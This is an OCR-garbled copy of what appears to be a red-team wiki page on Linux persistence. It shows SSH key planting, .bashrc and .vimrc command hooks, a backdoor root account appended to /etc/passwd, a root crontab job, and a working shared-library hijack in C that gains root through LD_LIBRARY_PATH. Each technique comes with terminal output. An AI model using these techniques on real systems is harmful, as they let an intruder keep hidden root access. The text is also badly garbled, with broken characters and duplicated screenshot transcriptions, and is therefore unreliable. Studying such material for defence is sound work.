Linux []]

I Windows T TITTTITIITIIIT Linux DT T O

SSH

id rsa

(0110 -ssh [IITid_rsa [T 6 00T root [ITITITITIITIT SSH I id_rsa[ITIT1] SS

1s -al

dev@l 4096

dev@l 4096

devol 1134 authorized keys
“MrW-rw-r-- : dev@l 104 ; config

drwXrwxr-x dev@l 4096
' dev@l 2622 ] id rsa
devBl 582 ] id rsa.pub
devel 222 : known_hosts

[SEHIKeMden ITTTTTI T passphrase[IITTTITITTIIIIIIIIII passphraseITTITITITIIT] passphre

web01@web01: ~/. ssh$ 1s -al

total 8

drwx------ 2 web01l web0l 4096 Jan 22 14: 32

drwxr-xr-x 17 web01 webQl 4096 Mar 29 14:08 .
web01@web01: ~/. ssh$ ssh-keygen

Generating public/private rsa key pair.

Enter file in which to save the key (/home/web0l1/.ssh/id rsa):
Enter passphrase (empty for no passphrase):

Enter same passphrase again:

Your identification has been saved in /home/web0l/. ssh/id rsa
Your public key has been saved in /home/web0l/.ssh/id rsa. pub
The key fingerprint is:

SHA256: Rc4NmsNu+0d8GzddSY9RrgZAmCOTULiEYvves Y8+kuU web01l@web01l
The key's randomart image is:

+---[RSA 3072]----+

| ¥+, 4= .|
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0 . +0|

S +. 0|
| . 00 o . |
| =+.. 0 |
| + Eoo o0 . |
| 00000. . |
----[ SHA256] - - - - - +

5 $ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/web®1/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/web®1/.ssh/id_rsa
Your public key has been saved in fhome/web®1/.ssh/id rsa.pub
The key fingerprint is:
SHA256 :Rc4NmsNu+od8GzddSYORrgZAmCOTULLEYvvesY8+kuU web®1@webe1
The key's randomart image is:
+---[RSA 3872]----+
| Fha += .

0O+ +.+* + 0

« o +0

+ Eoo oo
00000 . .
----[SHA256] +

- S

| |
| N
| |
| 0|
| 0o o . |
| « =¥ .0 . |
| |
| |
+

authorized keys
authorized_keys [TTT] .ssh [T SSH OO T

$ cat authorized keys
ssh-rsa HHAHB3NzaC1yc2EHHHADHQABHHABQQC?N@DHICGQUHFSE]TGDUDDthHL]HHvTquahquwA
nJavtnswnZqmzesxtZfT/cIpivhr2pléWusxmXIufgX10a54ZnK2kKvYLc66gkRfImIdn/InrMdHyRtW
Xs37EUdalInlest+1lLvM2yUuGX+cghsBbDcMuOR4FSvLDSZrWC535Us0LPgUccsRpTcfoYs LZTMWO9ZE
nJPd20Ac6ZIxvQ5sinYNtWPFhTcvcVZ1DXB27 jYpHQvhYc2DBCs9HFQx j4vkx+tCUelC/NSBXc2tV4 /G

Ymxk40vhYtnmn7sM1YkKoXd714sCJ11ZrUv28QA19GvqdOdFGpTDQZCcLEABDFPUTIVoIQf+3LfWBI1dA
3V9lugTlwB2L47pLjOGPOFgD1 /DJaS+N6 /DApnnlRN1D1e LuXRubMAOhCcgspFDUGBWUHLWAG6DWtEBAB4N
aljel023uf+1B8ROLIBA+s9K4tBUmMRCXW3T3eTAB6Z9G5N05eTraQQbyoMHgYQIBvfFEPLiU= ansible
@deval
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bashrc [ bash_profile

(I THash¢ shRShIprofile T T

dev0l@dev@l: ~/. ssh$ echo ' touch /tmp/bashrc' >> ~/.bashrc
dev0@l@dev@l: ~/. ssh$ 1ls -al /tmp/bashrc

1s: cannot access ' /tmp/bashrc': No such file or directory
devOl@devOl: ~/. ssh$ bash

dev0l@devOl: ~/. ssh$ 1s -al /tmp/bashrc

-rw-rw-r-- 1 dev0l dev@l 0@ Mar 29 17: 33 /tmp/bashrc

echo 'touch /tmp/bashrc' == ~/.bashrc
1ls -al /ftmp/bashrc
ls: cannot access 'Jtmp/bashrc': No such file or directory
S bash
5 1ls -al /tmp/bashrc
dev@l dev@l ® Mar 29 17:33 ftmp/bashrc
$

s i w8 ms

passwd [ shadow

[{eét€/passwd [T apenss TEAFMABITTTTTITTT]

root@web0l: /home/web0l# openssl passwd -1 -salt dler 123123

$1$dler $C5tRZCGTq220NP1OHMC XZ0O

root@web0l: /home/web0l# echo 'senzee: $1$dler $C5tRZCGTq220NP1LOHMC XZ0: 0: 0: root: /root: /bin/bash
>> /etc/passwd

root@web0l: /home/web01l# exit

exit

web01l@web0l: ~$ su senzee

Password

root@web0l: /home/web01#
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root@web01: /home/web81# openssl passwd -1 -salt dler 123123

$15d1er$SC5tRZCGTQ220NPLOHMCXZO

root@webd1: /home /web01# echo 'senzee:$15dler$C5tRZCGTQ220NPLOHMCXZO:0:0:root: froot: /bin/bash' >> fetc/passwd
root@webd1: /home /webB1# exit

:~5 su senzee

root@web01: /home /webB1# I

(1111 /etc/passwd [TTTTTTTITIIITITITIIITIIIT] /etc/passwd [TTTTTTIT shadow (TTTTTITTTIIITITITITITI0Td

crontab

/etc/crontab [T

# /etc/crontab: system-wide crontab

# Unlike any other crontab you don't have to run the "crontab'

# command to install the new version when you edit this file

# and files in /etc/cron.d. These files also have username fields,

# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr /local/sbin: /usr/local/bin: /sbin: /bin: /usr/sbin: /usr/bin

# Example of job definition:

R e T T T minute (0 - 59)

#| - hour (0 - 23)

#| | .---------- day of month (1 - 31)

#1 | | o------- month (1 - 12) OR jan, feb, mar, apr ...

#| | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun, mon, tue, wed, thu, fri, sat
2 I T O

#* * * * * yser-name command to be executed

17 *[O* * *[root cd / && run-parts --report /etc/cron. hourly

25 6[I* * *[Joot[itest -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6[1* * 7[root[test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron. weekly )
52 6[1 * *[Foot[itest -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#


https://raven-medicine.com/uploads/images/gallery/2023-03/hkDoyVVFwwC9bBuf-image.png

# [etc/crontab: system-wide crontab

# Unlike any other crontab you don't have to run the “crontab'’

# command to install the new wversion when you edit this file

# and files in fetc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin: fusrflocal/bin: fsbin:/bin: fusr/sbin: fusr/bin

Example of job definition:
minute (@ - 59)
hour (@ - 23)
day of month (1 - 31)
month (1 - 12) OR jan,feb,mar,apr ...

|
|
| o
| .---- day of week (® - 6) (Sunday=8 or 7) OR sun,mon,tue,wed,thu,fri,sat
| I
* * user-name command to be executed
root cd / && run-parts --report Jetc/cron.hourly
root test -x fusr/sbin/anacron || ( cd f && run-parts --report fetc/cron.daily )
root test -x Jfusr/sbin/anacron || ( cd [/ && run-parts --report Jetc/cron.weekly )
root test -x fusr/sbin/anacron || ( cd / && run-parts --report fetc/cron.monthly )

[FOLER [¥imipl ErpTakITY F F{TTroot touch /tmp/crontab[ITIITIIIT]

root@web0l: ~# 1s -al /tmp/crontab

ls: cannot access ' /tmp/crontab': No such file or directory
root@web0l: ~# cat /etc/crontab

# /etc/crontab: system-wide crontab

# Unlike any other crontab you don't have to run the “crontab

# command to install the new version when you edit this file

# and files in /etc/cron.d. These files also have username fields

# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr /local/sbin: /usr/local/bin: /sbin: /bin: /usr/sbin: /usr/bin

# Example of job definition:

#oo--omoeeea - minute (0 - 59)

#| - hour (0 - 23)

2 N R et day of month (1 - 31)

# | | .------- month (1 - 12) OR jan, feb, mar, apr ..

#| | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun, mon, tue, wed, thu, fri, sat
#1011 | |

#* * * * * yser-name command to be executed

17 *[* * *[Foot cd / & run-parts --report /etc/cron. hourly

25 6[F * *[Foot[itest -x /usr/sbin/anacron || ( cd / & run-parts --report /etc/cron. daily )
47 6[1* * 7[root[test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron. weekly )
52 6[1l * *[Joot[test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

¥ ok x X * root touch /tmp/crontab
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#
root@web0l: ~# 1s -al /tmp/crontab
-rw-r--r-- 1 root root @ Mar 29 17:48 /tmp/crontab

root@web®1:~# 1s -al /tmp/crontab

ls: cannot access '/Jtmpfcrontab': No such file or directory
root@web®1:~# cat fetc/crontab

# fetc/crontab: system-wide crontab

Unlike any other crontab you don't have te run the “crontab’
command to install the new version when you edit this file

and files in /etc/cron.d. These files also have username fields,
that none of the other crontabs do.

tis
tiz
tis
tis

SHELL=/bin/sh
PATH=/usr/local/sbin: fusr/local/bin:/sbin:/bin: fusrfsbin: fusr/bin

Example of job definition:
minute (@ - 59)
hour (@ - 23)
day of month (1 - 31)
month (1 - 12) OR jan,feb,mar,apr
- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat

* user-name command to be executed
root cd / && run-parts --report fetc/cron.hourly
root test -x fusrfsbinfanacron || ( cd f && run-parts --report fetc/cron.daily )
root test -x fusr/sbinfanacron || ( cd / && run-parts --report /Jetc/cron.weekly )
root test -x fusrfsbinfanacron || ( cd / && run-parts --report fetc/cron.monthly )
* * * * * rogot touch /tmp/crontab
i
root@web®1:~# 1s -al ftmp/crontab
-rw-r--r-- 1 root root ® Mar 29 17:48 /tmp/crontab

Eent [T EITM DR [T @$ DT
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:~§ cat .vimrc

:silent !touch /ftmp/fvim
=5 rm ftmp/vim
=5 vim

:~5 1s -al ftmp/vim
-rW-rw-r-- 1 web®l1 web®1 8 Mar 29 17:55 ftmp/fvim

web01@web0l1: ~$ nano . vimrc
web01@Eweb01: ~$ cat . vimrc
:silent ! touch /tmp/vim
web01@web01: ~$ rm /tmp/vim
web01@web01: ~$ vim

web01l@web0l1l: ~$ 1s -al /tmp/vim
-rw-rw-r-- 1 webOl web@l 0@ Mar 29 17:55 /tmp/vim

[0 Windows [J Linux T TITITITITITIITTITWindows [TT1T] DLL (TTT] Linux [ elf ITTIITTITIIT] DL
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(ITT] RPATH [ITITIT

LD LIBRARY PATH [TIIIILIIL

[TI1] RUNPATH [TIIIIT]

/etc/1d. so. conf [IIIII[]

/lib[/1ib64[/usr /lib[J/usr /local/lib[J/usr/local/lib64 [TIITIIIIIT]

T AT T T Beacon 1]

LD LIBRARY_PATH [T]

LD_LIBRARY_PATH [bEshind [TTER]EIBRARY_PATHTTTTTITIITIITIIITIT] R jasi/ AR IRl TIIHird
libgpg-error.so.OTTTTTITITIIIIIIT] ping [IIT1]

root@web®1: fhome fweb®1# 1dd fusr/bin/ping
linux-vdso.so.1 (0x00007ffel87bfO00)
libcap.so0.2 == [lib/x86_64-1linux-gnu/libcap.so0.2 (Ox00007fdeb3470000)
1ibgcrypt.so0.20 == flib/x86 64-1linux-gnu/libgcrypt.so.20 (Ox00807fdeb3352000)

libresolv.so.2 => [lib/x86 64-linux-gnuflibresolv.so.2 (0x00007fdOb3336000)
libc.so.6 => /lib/x86 64-linux-gnu/libc.so.6 (0x00007fdob3144000)
libgpg-error.so.® => /lib/x86 64-1linux-gnu/libgpg-error.so.® (0x00007fdeb3121008)
J1ib64/1d-1inux-x86-64.50.2 (0x00007fdeb34c1000)

[TTTIITT] PoCITITI

#include <stdio. h>

#include <stdlib. h>

#include <unistd. h> // for setuid/setgid

static void hijack() _ attribute_ ((constructor));
void hijack() {

[(betuid(0);

[(ketgid(0);

[(printf("HIJACKING. .. \n");

[(bystem("touch /tmp/hijackl");

}

(T

root@web0l: /home/web01# gcc -Wall - fPIC -c -0 hijack.o hijack.c

root@web0l: /home/web01# gcc -shared -o hijack.so hijack. o

root@web0l: /home/web01l# 1dd /usr/bin/ping | grep error

[(Libgpg-error.so. ® => /1ib/x86 64- linux- gnu/libgpg-error.so. 0 (0x00007f36cfcb3000)
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T Dicd T

[LD_LIBRARY_PATH [TTITTIITITT] ping [TTITTTTTITIT]

root@web0l: /home/web@1l# mv hijack.so libgpg-error. so. 0

root@web0l: /home/web0l# export LD LIBRARY PATH=/home/web01

root@web0l: /home/web0l# ping 127.0.0.1

ping: /home/web0l/libgpg-error.so.0: no version information available (required by
/1ib/x86 64- linux- gnu/libgcrypt. so. 20)

ping: symbol lookup error: /lib/x86 64-linux-gnu/libgcrypt. so.20: undefined symbol:
gpgrt lock lock, version GPG ERROR 1.0

T T O T DL O A T (T

[FERdElf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR |
awk '{print $8}' | sed 's/@@GPG_ERROR _1.0/;/g' Fdatiéf [{$ FFWid&l]

table '.dynsym' contains 258 entries:

Value Size Type Bind Vis Name
: 0000000000000000 @ NOTYPE LOCAL DEFAULT
0000000000000000 FUNC GLOBAL DEFAULT __strcat_chk@GLIBC_2.3.4 (3)
0000000000000000 FUNC GLOBAL DEFAULT getenv@GLIBC_2.2.5 (4)
0000000000000000 FUNC GLOBAL DEFAULT free@GLIBC 2.2.5 (4)
0000000000000000 FUNC GLOBAL DEFAULT funlockfile@GLIBC 2.2.5 (4)
0000000000000000 FUNC GLOBAL DEFAULT localtime@GLIBC 2.2.5 (4)
0000000000000000 FUNC GLOBAL DEFAULT __vfprintf_chk@GLIBC_2.3.4 (3)
0000000000000000 FUNC GLOBAL DEFAULT abort@GLIBC_2.2.5 (4)
0000000000000000 FUNC GLOBAL DEFAULT __errno_Llocation@GLIBC 2.2.5 (4)
: 0000000000000000 FUNC GLOBAL DEFAULT strncpy@GLIBC 2.2.5 (4)
: 0000000000000000 FUNC GLOBAL DEFAULT strncmp@GLIBC 2.2.5 (4)

(<]

0~ N b WP

: 0000000000000000
: 0000000000000000
: 0000000000000000
: 0000000000000000
: 0000000000000000
: 0000000000000000
: 0000000000000000
: 0000000000000000
: 0000000000000000
1: 0000000000000000
: 0000000000000000

OBJECT GLOBAL DEFAULT stdout@GLIBC_2.2.5 (4)
FUNC GLOBAL DEFAULT _exit@GLIBC_2.2.5 (4)
FUNC GLOBAL DEFAULT strcpy@GLIBC_2.2.5 (4)
FUNC GLOBAL DEFAULT mkdir@GLIBC_2.2.5 (4)
FUNC GLOBAL DEFAULT ferror@GLIBC_2.2.5 (4)
FUNC GLOBAL DEFAULT isatty@GLIBC_2.2.5 (4)
FUNC GLOBAL DEFAULT fread@GLIBC_2.2.5 (4)
OBJECT GLOBAL DEFAULT stdin@GLIBC_2.2.5 (4)
FUNC GLOBAL DEFAULT fentl@GLIBC_2.2.5 (4)
FUNC GLOBAL DEFAULT setenv@GLIBC_2.2.5 (4)
FUNC GLOBAL DEFAULT write@GLIBC_2.2.5 (4)

0
i}
0
i}
0
0
i}
0
i}
0
1: 0000000000000000 @ NOTYPE WEAK DEFAULT _ITM_deregisterTMCloneTable
0
i}
0
0
0
0
i}
0
0
0
i}
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root@web@1: /home/web@1# readelf -s --wide /lib/x86_64-1inux-gnu/libgpg-error.so.® | grep FUNC | grep GPG_ERROR | awk '{print $8}' | sed 's/@@GPG_ERROR_1
-0/;/9'
gpgrt_ftruncate;
gpgrt_logv;
gpgrt_strdup;
gpgrt_printf_unlocked;
gpgrt_ftello;
gpg_err_code_to_errno;
gpgrt_log_printhex;
gpgrt_log_bug;
gpgrt_write_hexstring;
gpgrt_bé64enc_finish;
gpgrt_be4enc_write;
gpgrt_fileno_unlocked;
gpgrt_set_strusage;
gpgrt_ftell;
gpgrt_b64dec_finish;
gpgrt_asprintf;
gpg_strerror;
gpgrt_lock_init;
gpgrt_log_debug_string;
gpgrt_ftrylockfile;
gpgrt_realloc;
_gpgrt_log_assert;
gpgrt_fopen;
gpgrt_strconcat;
gpgrt_sysopen_nc;
_gpgrt_pending_unlocked;
gpgrt_getline;

root@web0l: /home/web0l# readelf -s --wide /1ib/x86 64- linux-gnu/libgpg-error.so.0 | grep FUNC
| grep GPG_ERROR | awk '{print $8}' | sed 's/@eGPG_ERROR_1.0/; /¢’
gpgrt ftruncate;

gpagrt logv;

gpgrt_strdup;

gpgrt printf unlocked;

gpgrt ftello;

gpg _err _code to _errno;

gpgrt fpopen nc;

gpgrt fopenmem init;

gpgrt mopen;

gpg _error check version;

gpgrt fseek;

O T ping T

root@web0l: /home/web@1l# mv hijack.so libgpg-error. so. 0
root@web0l: /home/web01l# ping 127.0.0.1

ping: /home/web0l/libgpg-error.so.0: no version information available (required by
/1ib/x86 64- linux- gnu/libgcrypt. so. 20)

HIJACKING. .

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.

64 bytes from 127.0.0.1: icmp seq=1 ttl=64 time=0.197 ms
64 bytes from 127.0.0.1: icmp seq=2 ttl=64 time=0.100 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.097 ms
64 bytes from 127.0.0.1: icmp seq=4 ttl=64 time=0. 099 ms
~C
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--- 127.0.0.1 ping statistics ---

4 packets transmitted, 4 received, 0% packet loss, time 3068ms
rtt min/avg/max/mdev = 0. 097/0.123/0.197/0. 042 ms

root@web0l: /home/web01l# 1s -al /tmp/hijackl

-rw-r--r-- 1 root root 0 Mar 29 19:12 /tmp/hijackl

root@web®1: /home /web®1# ping 127.0.0.1
ping: /fhome/web®1/libgpg-error.so.®: no version information available (required by /lib/xB6_64-1inux-gnu/libgcrypt.so.20)
HIJACKING. ..
ol It I b el G 1
from 127.0.0.
from 127.0.0.
0.
0.

0.1) 56(8B4) bytes of
1: icmp_seq=1 ttl=64
1:
from 127.0.0.1: _
bytes from 127.0.0.1: icmp_seq=4 ttl=64
--- 127.8.8.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3068ms
rtt minfavg/max/mdev = 9.897/0.123/0.197/0.042 ms
root@web@1: /home /webB1# 1s -al /tmp/hijack1l
-rw-r--r-- 1 root root ® Mar 29 19:12 /tmp/hijack1

Revision #14
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Updated 30 March 2023 02:43:27 by [T[J
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